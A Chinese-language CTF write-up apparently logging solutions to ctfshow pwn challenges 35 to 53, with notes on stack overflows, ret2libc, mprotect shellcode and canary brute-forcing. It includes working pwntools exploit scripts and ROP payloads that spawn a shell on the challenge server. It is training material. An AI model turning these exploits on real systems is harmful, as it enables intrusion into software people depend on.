记录一下ctfshow-pwn的做题过程

pwn35

简单的栈溢出,直接输入大量垃圾数据即可。

在这记录一个笔记:strcpy(&dest, src),strcpy函数将 src 字符串复制到 dest 字符数组中,并返回指向 dest 的指针。

pwn36

也是一道简单的栈溢出,并存在后门函数,且没开任何保护机制,直接打即可。

在这里记录一下gdb调试,计算距离栈底的距离的命令:cyclic -l address

pwn37

也是一道32位的简单的栈溢出,存在后门函数,只开启了NX保护,因此还是直接打。

pwn38

是一道简单的64位栈溢出,存在后门函数,唯一的区别就是64位要考虑堆栈平衡,要加上ret。

pwn39

一道简单的32位栈溢出,存在system函数与/bin/sh字符串,只是二者是分开的,那么就需要将/bin/sh字符串作为参数传入到system函数,这里需要注意的是函数调用栈的一些结构即可。

pwn40

一道简单的64位栈溢出,和pwn39一样,但是区别就是传参方式,64位是使用寄存器的方式先传参,因此脚本会有一些的不同,但依旧是直接打。

pwn41

和pwn39一样,只是将/bin/sh换成了sh,二者在大多数是一样的,只是有一丁点的差别,就是环境变量的问题。

pwn42

也差不多,就不再赘述。

pwn43

是一道32位的栈溢出,只有system函数,没有/bin/sh字符串,那么此时就需要构造一个system(‘/bin/sh’),在bss段上有buf变量,在程序中也调用了gets函数,因此本题的思路就是先栈溢出调用gets函数将’/bin/sh’字符串输入到buf变量中,再调用system函数,将buf作为参数带到system函数中即可。

payload=cyclic(0x6c+4)+p32(gets)+p32(ebx)+p32(buf)+p32(system)+p32(0)+p32(buf)
io.sendline(payload)
io.sendline(b'/bin/sh')

其中ebx是用于存放buf。

我觉得还有另一个攻击方法就是ret2libc,因为程序中调用了puts函数,可以通过这个泄漏libc版本,找到相应的’/bin/sh’字符串,最后再构造即可。

pwn44

是pwn43的64位的版本,原理一样,只是传参方式不同而言。

payload=cyclic(0xA+8)+p64(rdi)+p64(buf)+p64(gets)+p64(rdi)+p64(buf)+p64(system)+p64(0)
io.sendline(payload)
io.sendline(b'/bin/sh')

pwn45-pwn46

这两道题考的是ret2libc。使用的是write函数,后续有一道是puts函数,其实是差不多的。

system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知 道 system 函数的地址。 那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函 数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

pwn47

也是一道简单的32位ret2libc,地址都给了,只需要用合适的函数泄漏libc的版本从而得到system函数的地址即可

io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))

先使用 recvuntil 函数接收远程服务器发送的数据,直到遇到字符串 “puts: “ 。然后使用 eval 函数执行接收到的字符串,将其解析为一个表达式并求值,得到 puts 函数的地址。类似地,下 面这段代码接收数据,直到遇到字符串 “gift: “ 。然后使用 eval 函数执行接收到的字符串,得到一 个地址,赋值给 bin_sh 变量。

pwn48

也是一道简单的32位ret2libc,这次可以用puts函数更加简单。

pwn49

本题是一道32位静态编译的题(从存在大量的函数也可以看出),这道题开启了NX保护,通过题目提示可知此题需要用到mprotect函数。

from pwn import*
context.arch='i386'
#io=process('./pwn49')
io=remote('pwn.challenge.ctf.show',28129)
elf=ELF('./pwn49')

mprotect=elf.sym['mprotect']
read=elf.sym['read']

start=0x080DA000
Len=0x1000
port=0x7
index=0x080a019b

shellcode=asm(shellcraft.sh())

payload=cyclic(0x12+4)
payload+=p32(mprotect)+p32(index)+p32(start)+p32(Len)+p32(port)
payload+=p32(read)+p32(index)+p32(0)+p32(start)+p32(Len)
payload+=p32(start)

io.sendline(payload)
io.sendline(shellcode)

io.interactive()

pwn50

这道提其实可以直接打64位的ret2libc,但是如果要用mprotect函数打的话,会有一些复杂。

pwn51

是一道使用c++编写的程序,主要是将用户输入的I变为IronMan,接着计算一下需要多少个才能造成栈溢出,并找出后门函数即可。

pwn52

一道简单的32位的题目,存在栈溢出以及后门函数,只需要满足相应的条件即可获得flag

from pwn import*
#io=process('./pwn52')
io=remote('pwn.challenge.ctf.show',28154)

payload=cyclic(112)+p32(0x08048586)+p32(0)+p32(0x36C)+p32(0x36D)
io.sendline(payload)

io.interactive()

pwn53

本题也是一道32位的题目,在checksec时是没有canary保护的,而在程序内部有一段代码起到了canary的作用

由于本题存在后门函数,因此重难点就在于如何泄漏canary的值,由于本题没有格式化字符串漏洞,再根据题目提示可以知道,本题应该是使用爆破的形式获得canary。
是比较 4 个字节,但是当我们只输入一个字节时,没有其他字节可以比较,因此我们可以通过这种方式来爆破第一个字节,第一个字节匹配后没有其他字节可以比较时也会认为是正确的,也就不会退出程序,但是这种我们无法连续输入字符溢出到 ret,因为这样会有其他字节让 memcmp 来进行比较判断,因此我们只能逐个爆破,得到一个正确字节后再进行下一个字节的判断

canary = ''
for i in range(4):
  for c in range(0xFF):
     #io = process('./pwn')
     io = remote('pwn.challenge.ctf.show',28173)
     io.sendlineafter('>','-1')
     payload = 'a'*0x20 + canary + p8(c)
     io.sendafter('$ ',payload)
     io.recv(1)
     ans = io.recv()
     print ans
     if 'Canary Value Incorrect!' not in ans:
        print 'The index({}),value({})'.format(i,c)
        canary += p8(c)
        break
     else:
         print 'tring... ...'
     io.close()
print 'canary=',canary

这里就直接用官方给的wp的脚本了。

pwn54